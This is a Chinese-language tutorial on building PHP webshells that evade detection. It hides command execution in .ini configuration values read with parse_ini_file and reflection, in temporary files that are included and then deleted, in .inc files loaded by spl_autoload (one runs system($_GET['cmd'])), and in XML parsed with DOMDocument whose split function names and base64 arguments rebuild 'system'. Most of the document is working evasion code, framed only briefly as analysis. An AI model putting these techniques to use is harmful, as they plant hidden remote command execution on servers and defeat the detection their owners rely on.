前言
PHP 作為廣泛使用的服務端語言,其靈活的內置類(如 DOMDocument
)和文件操作機制(.ini
、.inc
的自動加載),為攻擊者提供了天然的隱蔽通道。通過 動態函數拼接、反射調用、加密混淆 和 偽命名空間 等手法,惡意代碼得以“寄生”于正常的業務邏輯中,甚至借助析構函數、自動加載等機制實現 無文件化觸發。這種“隱寫術”般的攻擊方式,不僅挑戰了傳統檢測技術的邊界,也對開發者和安全團隊提出了更高維度的防御要求。
本文將以 PHP 內置類與文件操作 為核心,深度剖析攻擊者如何將 XML 解析、配置加載、自動包含等“合法”功能武器化,構建出零特征、高動態的免殺 WebShell。
利用parse_ini_file函數
PHP中有一個名為parse_ini_file
的函數,用于解析.ini文件 , 如果Webshell的代碼隱藏在.ini文件的某些配置項中,然后通過解析這些配置項來動態執行代碼。
動態函數調用 + 反射執行
創建一個.ini文件,其中包含惡意代碼的字符串
// [payload]
// func_name = "system"
// encoded_cmd = "d2hvYW1p" // base64("whoami")
代碼:
class ConfigLoader {private $config;public function __construct($file) {$this->config = parse_ini_file($file, true); // 解析 .ini 文件$this->execute();}private function execute() {$func = $this->config['payload']['func_name'];$cmd = base64_decode($this->config['payload']['encoded_cmd']);// 使用反射動態調用函數$reflection = new ReflectionFunction($func);$reflection->invoke($cmd);}
}new ConfigLoader('config.ini'); // 觸發執行
- 敏感函數名(
system
)和指令(whoami
)均存儲在.ini
文件中,避免代碼硬編碼。 - 使用 反射(ReflectionFunction) 間接調用函數,繞過靜態檢測。
臨時文件寫入 + 包含執行
.ini文件
[payload]
encoded_code = "PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4="
<?
class TempFileExecutor {private $code;public function __construct($iniFile) {$config = parse_ini_file($iniFile);$this->code = base64_decode($config['encoded_code']);$this->run();}private function run() {$tempFile = tempnam(sys_get_temp_dir(), 'tmp_');file_put_contents($tempFile, $this->code);include $tempFile; // 包含臨時文件執行代碼unlink($tempFile); // 清理痕跡}
}new TempFileExecutor('evil.ini');
利用spl_autoload
函數
函數定義
spl_autoload(string $class_name, string $file_extensions = null): void
-
參數:
-
$class_name
:需要加載的類名。 -
$file_extensions
(可選):指定文件擴展名(如.php,.inc
),默認使用include_path
中的配置。
行為邏輯
- 將類名
$class_name
轉換為小寫(若系統區分大小寫則保留原大小寫)。 - 按
$file_extensions
指定的擴展名,在include_path
目錄下查找文件。 - 找到文件后自動包含(
include_once
)該文件。
1.inc文件
<?php system("whoami"); ?>
1.php
<?php spl_autoload("1"); ?>
spl_autoload("1")
嘗試加載類名為nb
的文件。- 按默認規則查找
nb.php
或1.inc
,發現1.inc
存在。 - 包含
1.inc
并執行webshell
,輸出服務器配置信息。
關鍵點:
spl_autoload
不僅用于加載類,直接調用時也可觸發文件包含。- 文件擴展名(
.inc
)和類名(1
)需匹配,但文件內容無需嚴格包含類定義。
偽裝類文件 + 動態執行
payload.inc
<?php
class Payload { // 偽裝成合法類public static function run() {system($_GET['cmd']); // 惡意代碼}
}
1.php
<?php
spl_autoload("payload"); // 加載 Payload 類
if (class_exists('Payload')) {Payload::run(); // 觸發惡意代碼
}
利用DOMDocument類
DOMDocument
是 PHP 中用于處理 XML 和 HTML 文檔的核心類。它基于 W3C 的 DOM(Document Object Model)標準,提供了一套完整的 API,允許開發者以樹形結構操作文檔節點(如元素、屬性、文本等)。,支持XPath查詢和動態節點解析 (php版本>8.0)
常用方法
方法名 | 功能說明 | 示例 |
createElement($name, $value) | 創建元素節點 | $element = $dom->createElement('tag', 'content') |
createAttribute($name) | 創建屬性節點 | $attr = $dom->createAttribute('id') |
getElementsByTagName($name) | 通過標簽名獲取節點列表 | $items = $dom->getElementsByTagName('item') |
getElementById($id) | 通過 ID 獲取單個元素(需 DTD 驗證) | $node = $dom->getElementById('main') |
saveHTML() | 輸出 HTML 格式字符串(處理 HTML 文檔時) | $html = $dom->saveHTML() |
validate() | 驗證文檔是否符合 DTD/XSD | if ($dom->validate()) { ... } |
解析 XML 數據
<?php
$xml = <<<XML
<?xml version="1.0"?>
<books><book id="1"><title>PHP Basics</title><author>John Doe</author></book>
</books>
XML;$dom = new DOMDocument();
$dom->loadXML($xml);// 遍歷所有 <book> 節點
foreach ($dom->getElementsByTagName('book') as $book) {$title = $book->getElementsByTagName('title')->item(0)->nodeValue;$author = $book->getElementsByTagName('author')->item(0)->nodeValue;echo "Title: $title, Author: $author\n";
}
輸出:
這里我們可以提取xml里面各節點的內容,這樣的話,我們就可以把惡意字符串隱藏在xml文件里面
<?php
// 惡意 XML 數據(可遠程加載或硬編碼)
$xml = <<<XML
<root><data>whoami</data>
</root>
XML;$doc = new DOMDocument();
$doc->loadXML($xml); // 解析 XML
$xpath = new DOMXPath($doc);
$node = $xpath->query('//data')->item(0); // 提取節點值// 動態調用高危函數(避免直接寫 system)
$func = 'sys' . 'tem';
$func($node->nodeValue); // 執行系統命令
?>
將惡意字符串完全隱藏在 XML 文件中
1.xml
<?xml version="1.0" encoding="UTF-8"?>
<config><!-- 函數名分塊存儲 --><function><part>sys</part><part>tem</part></function><!-- 參數使用 Base64 編碼 --><data>d2hvYW1p</data> <!-- Base64("whoami") -->
</config>
1.php
<?php
// 加載外部 XML 文件(可替換為遠程 URL)
$xml = file_get_contents('malicious.xml');// 解析 XML
$doc = new DOMDocument();
$doc->loadXML($xml);
$xpath = new DOMXPath($doc);// 提取分塊函數名并拼接
$funcParts = $xpath->query('//function/part');
$func = '';
foreach ($funcParts as $part) {$func .= $part->nodeValue; // 拼接為 "system"
}// 提取并解碼參數
$dataNode = $xpath->query('//data')->item(0);
$arg = base64_decode($dataNode->nodeValue); // 解碼為 "whoami"// 動態調用(增加安全驗證)
if ($func && $arg && function_exists($func)) {($func)($arg); // 執行 system("whoami")
} else {error_log("配置錯誤或函數不可用"); // 偽裝成普通錯誤日志
}
?>